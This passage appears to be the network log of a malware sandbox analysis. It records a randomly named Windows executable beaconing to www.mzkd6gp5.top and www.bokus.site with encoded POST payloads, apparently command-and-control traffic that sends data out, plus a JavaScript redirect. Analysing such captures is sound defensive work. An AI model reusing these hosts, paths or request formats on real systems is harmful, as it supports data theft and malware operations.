onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736438055.0042517179&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiYXJncyI6ICI2Qi1sN0Y9bmJFYjZCYXBqckNZZDN2dUVrNjhkUkxZNHVhMk1vODRaOURMZWxUY3JKNHA4aE9pQnBsSTM5enR6aGFhbDc2cUZZS2U4b29KRjIybUkvSnZSUFI5S1p0RVBzR1BTWnZwSHo0Z0tUVDlSSGNsdHVDQUFBazUxSjQ9Jjgwaz1sUmFwQ1BNWGdEayIsICJyZWZlcmVyIjogIiIsICJhY2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7 [TRUNCATED]
Jan 9, 2025 16:54:15.756706953 CET	60	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: ; } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49827	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:21.038851976 CET	799	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 34 58 4a 33 6e 47 45 56 43 58 2f 32 6c 38 56 62 72 69 46 4a 36 52 38 58 54 6f 57 30 43 6f 45 57 75 58 67 37 37 4f 6b 70 7a 57 6e 7a 63 50 37 48 4c 35 47 50 76 48 6c 71 6d 66 6b 6e 67 67 32 6f 42 6a 73 30 65 31 4d 59 75 53 6e 67 70 6a 36 61 67 48 64 4e 56 35 65 76 37 62 7a 70 45 76 50 53 62 38 44 31 73 7a 6c 45 4c 68 72 2f 2b 66 2b 58 55 77 6a 4c 38 71 79 50 6a 30 45 34 2b 65 38 6b 39 46 69 31 48 4c 45 6f 47 78 36 35 7a 57 77 6d 61 33 6f 4f 46 37 73 77 76 31 51 31 34 52 75 66 6f 59 2b 49 76 6a 57 45 41 63 36 54 75 4a 64 4d 34 50 46 54 48 77 3d 3d Data Ascii: 6B-l7F=h0wTz0QM+szd4XJ3nGEVCX/2l8VbriFJ6R8XToW0CoEWuXg77OkpzWnzcP7HL5GPvHlqmfkngg2oBjs0e1MYuSngpj6agHdNV5ev7bzpEvPSb8D1szlELhr/+f+XUwjL8qyPj0E4+e8k9Fi1HLEoGx65zWwma3oOF7swv1Q14RufoY+IvjWEAc6TuJdM4PFTHw==
Jan 9, 2025 16:54:21.608357906 CET	917	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8NE7Oz%2BRLdH3W%2BbqQhjSXugvdGh%2FH38aCfWPFbFr0aCu5gajtSSSYCL1v%2F43SboHEgw2tsWzPFfIpOBpTGqlEtkFtDypRYCnVq8NrckcD4Ai8626gRqLRXzJUm%2BR5mhw%2Bc9H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59af9e876e269-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124098&min_rtt=124098&rtt_var=62049&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=799&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:54:21.608403921 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49828	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:23.700556040 CET	819	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 63 57 74 79 63 37 70 2f 6b 70 79 57 6e 7a 46 2f 37 4f 57 4a 47 45 76 48 5a 49 6d 62 6b 6e 67 67 79 6f 42 68 30 30 66 45 4d 62 76 43 6e 69 6d 44 36 59 76 6e 64 4e 56 35 65 76 37 62 6d 4d 45 72 6a 53 59 4e 7a 31 74 53 6c 48 43 42 72 38 75 76 2b 58 44 67 6a 50 38 71 7a 63 6a 32 77 65 2b 59 67 6b 39 45 79 31 48 65 6f 72 52 42 36 2f 33 57 78 70 4c 31 5a 47 4a 34 49 59 6a 6d 49 75 79 55 32 4c 70 50 54 53 79 67 69 47 54 38 47 2b 79 49 77 6b 36 4e 45 49 61 35 51 2f 2f 42 54 78 4b 4f 37 43 76 49 33 6c 75 69 4f 64 30 6a 6f 3d Data Ascii: 6B-l7F=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDecWtyc7p/kpyWnzF/7OWJGEvHZImbknggyoBh00fEMbvCnimD6YvndNV5ev7bmMErjSYNz1tSlHCBr8uv+XDgjP8qzcj2we+Ygk9Ey1HeorRB6/3WxpL1ZGJ4IYjmIuyU2LpPTSygiGT8G+yIwk6NEIa5Q//BTxKO7CvI3luiOd0jo=
Jan 9, 2025 16:54:24.243889093 CET	915	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FKZcO2J89AEJJw0Ufm75pQOh%2BrjIY4c86hyZGAVXvORG0uVRyqqwLdHkh0G6M5%2FsvuABLqkTeUdcUt7JZmDbw3kV%2Fg0c9bOJX%2FzP5GsoSMhJTSpJcJ0slBMPw7Vv2Y8aSpOo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59b0a8c0810ed-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118830&min_rtt=118830&rtt_var=59415&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=819&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:54:24.243936062 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49829	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:26.358896017 CET	3936	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 55 57 75 48 51 37 37 6f 77 70 31 57 6e 7a 4e 66 37 4c 57 4a 47 5a 76 48 78 4d 6d 62 68 63 67 69 36 6f 42 41 55 30 59 32 30 62 6d 43 6e 69 74 6a 36 62 67 48 64 59 56 35 4f 56 37 62 32 4d 45 72 6a 53 59 4f 72 31 71 44 6c 48 45 42 72 2f 2b 66 2b 4c 55 77 6a 33 38 71 72 4d 6a 32 30 52 2b 65 30 6b 38 33 36 31 47 6f 63 72 52 42 36 2f 36 32 78 6f 4c 31 56 48 4a 34 51 4d 6a 6e 41 2b 79 69 4b 4c 70 36 4f 37 33 68 69 33 52 4f 32 48 75 4c 51 4e 74 66 63 47 55 4b 6b 4d 2f 69 66 64 63 65 2f 53 68 6f 76 77 38 42 4c 58 32 6b 76 55 6c 56 33 72 55 53 34 31 53 6b 2b 39 72 50 63 71 62 43 37 62 6c 59 39 2f 32 56 32 6a 4b 71 43 64 2b 6e 71 69 61 69 79 78 58 69 36 35 71 72 38 4f 4a 71 45 4e 6d 55 35 53 63 45 51 69 75 4b 75 45 41 66 79 30 56 52 4c 4e 59 4e 49 4f 44 38 4f 63 6e 78 66 6d 7a 67 4c 65 6b 5a 2f 62 4e 61 33 57 33 68 6a 72 64 32 6a 76 49 38 32 4f 35 6c 77 2f 32 78 67 [TRUNCATED] Data Ascii: 6B-l7F=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDeUWuHQ77owp1WnzNf7LWJGZvHxMmbhcgi6oBAU0Y20bmCnitj6bgHdYV5OV7b2MErjSYOr1qDlHEBr/+f+LUwj38qrMj20R+e0k8361GocrRB6/62xoL1VHJ4QMjnA+yiKLp6O73hi3RO2HuLQNtfcGUKkM/ifdce/Shovw8BLX2kvUlV3rUS41Sk+9rPcqbC7blY9/2V2jKqCd+nqiaiyxXi65qr8OJqENmU5ScEQiuKuEAfy0VRLNYNIOD8OcnxfmzgLekZ/bNa3W3hjrd2jvI82O5lw/2xg3AihK+ACLA/mCdJjxtFSBkFmooipa002KHAx1R7WYE8UR7WhOZigYgq5OajRn7NdUGHmYC1NCStHf8x6sLLa0/i7PWvB0WeWx52tSAiBdhmvYJgBROa+BTkQ1BzYPQYPYxe3JDbnYPZAoChVGQjvOy/KcgaJPnU+/nUYJhkQmvDzsiy4fPFCH321gcvIasdu5eZYz8kVY2oA6F90fEJAlCSY3yS0UnoZvbUXmEHhQK4kH0Flzpr9OAQpefvCphmwUEO36bT+RBaLiLl3vGlLABU7gcP4y16lsgX9jGhCwqem3mM/oJ7OMwV3zyQaATjKmZ6TcG54pJQZGK5Zu1XRsH++9pnWQOGgZ7zbyCvSts9Nl1UCv2PKlD4RD+bHRKoFJydJ0Wwb1Wt05hP0v4Mc9y3jrjgHXCS3+6kGEmIjMaGpy6lTl8hd98byvOiynP85ke6zWthD+c869bmHCp/ScJ3oNuRt8mY9HGvfIlWxURU6LhKkY9QO3FPlUEBnsvEVihs4igtfasTmsHs1Y7/UPklpDCH3A3V3z1+GL20+i8QwMPXZPbj3TX3Xxo6reJ0VnPYOzln0j8kVDRtBXX+7w7IgjjlN+uzBTQViedTNM2axuj6y+vE+XJ3XTNgQsWgANYMaDgIqgabJ6zZkHHVd6bMI3hjAxgV3pz [TRUNCATED]
Jan 9, 2025 16:54:26.937643051 CET	914	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZpPX3MVTEyrLZ1ZBb3%2Fite7QEnXTmOTiEgq842kYJGH%2BnHGJKJZzOoCQAj%2Ff9K2kZzKxBWDaVROEEKGf3d%2Fih4NQoy667gjFDKH9tB9lxWFLAbQrp9uFQNibggyg7cziV58D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59b1b2932233a-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119567&min_rtt=119567&rtt_var=59783&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3936&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:54:26.937685966 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49830	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:29.008332968 CET	535	OUT	GET /3u0p/?6B-l7F=s2YzwEkhsdaL/kJXp3k+A3KGmeJ3qBEv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/7SrF93BKOupqiEzChM=&80k=lRapCPMXgDk HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:54:29.548048019 CET	924	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sd8Ww%2FW%2BucYITL%2FryslLANlYgQjyfyCJmgA3YPhjuABM2oocNs8qU8cAnL0556n1TqBMKg6YIr0qdyw2ssVD0IgEHRsPK3lw9baQB8C37FpoQFgrSLziU4UdxGhJdImkybSy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59b2bbabe10ed-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118732&min_rtt=118732&rtt_var=59366&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=535&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Jan 9, 2025 16:54:29.548089981 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49831	199.192.21.169	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:34.927990913 CET	793	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 32 4a 72 77 2f 65 56 54 2f 50 6a 54 68 4b 76 32 56 2b 4e 63 59 49 55 59 64 47 4c 71 62 67 50 74 6b 43 69 39 74 79 38 5a 30 6d 68 73 47 38 32 2b 73 6b 67 6c 79 4d 6f 6f 53 73 6c 36 4f 31 51 61 69 50 4a 63 32 63 70 39 4b 48 5a 4e 6f 46 4e 58 4a 5a 31 35 4c 6c 44 6d 34 43 32 51 5a 4d 48 6b 37 47 50 33 5a 75 6b 55 78 72 4f 6b 49 65 56 30 59 31 32 5a 6a 68 67 67 55 39 6d 46 2b 57 44 56 63 63 4b 44 48 4b 37 36 31 58 72 41 75 4b 76 68 35 7a 6d 70 39 45 39 43 4b 2f 7a 47 75 4e 6c 31 62 55 41 74 66 4d 6c 46 63 2b 69 2b 69 59 4c 76 64 49 63 42 76 41 3d 3d Data Ascii: 6B-l7F=lcXtcPN+FJHJ2Jrw/eVT/PjThKv2V+NcYIUYdGLqbgPtkCi9ty8Z0mhsG82+skglyMooSsl6O1QaiPJc2cp9KHZNoFNXJZ15LlDm4C2QZMHk7GP3ZukUxrOkIeV0Y12ZjhggU9mF+WDVccKDHK761XrAuKvh5zmp9E9CK/zGuNl1bUAtfMlFc+i+iYLvdIcBvA==
Jan 9, 2025 16:54:35.120670080 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:35 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49832	199.192.21.169	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:37.648225069 CET	813	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 72 74 71 41 71 39 73 78 6b 5a 33 6d 68 73 56 38 32 37 69 45 67 79 79 4d 6b 4b 53 6f 6c 36 4f 32 73 61 69 4f 35 63 78 72 64 2b 49 58 5a 50 78 31 4e 56 44 35 31 35 4c 6c 44 6d 34 43 79 32 5a 4d 66 6b 37 57 66 33 66 38 41 62 37 4c 4f 6e 42 2b 56 30 50 46 32 64 6a 68 68 4e 55 38 71 76 2b 51 48 56 63 59 4f 44 48 59 54 31 67 6e 72 47 71 4b 75 4f 34 41 37 45 31 6e 6c 31 62 75 48 69 32 75 78 74 65 44 74 33 43 50 52 48 50 65 65 54 2b 5a 6d 48 66 4b 64 61 79 45 45 43 62 77 4d 2b 74 52 6e 6a 61 2b 4d 6d 2f 5a 35 7a 51 7a 49 3d Data Ascii: 6B-l7F=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSrtqAq9sxkZ3mhsV827iEgyyMkKSol6O2saiO5cxrd+IXZPx1NVD515LlDm4Cy2ZMfk7Wf3f8Ab7LOnB+V0PF2djhhNU8qv+QHVcYODHYT1gnrGqKuO4A7E1nl1buHi2uxteDt3CPRHPeeT+ZmHfKdayEECbwM+tRnja+Mm/Z5zQzI=
Jan 9, 2025 16:54:37.839062929 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:37 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49833	199.192.21.169	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:40.359262943 CET	2578	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 6a 74 71 31 6d 39 6a 77 6b 5a 32 6d 68 73 57 38 32 41 69 45 67 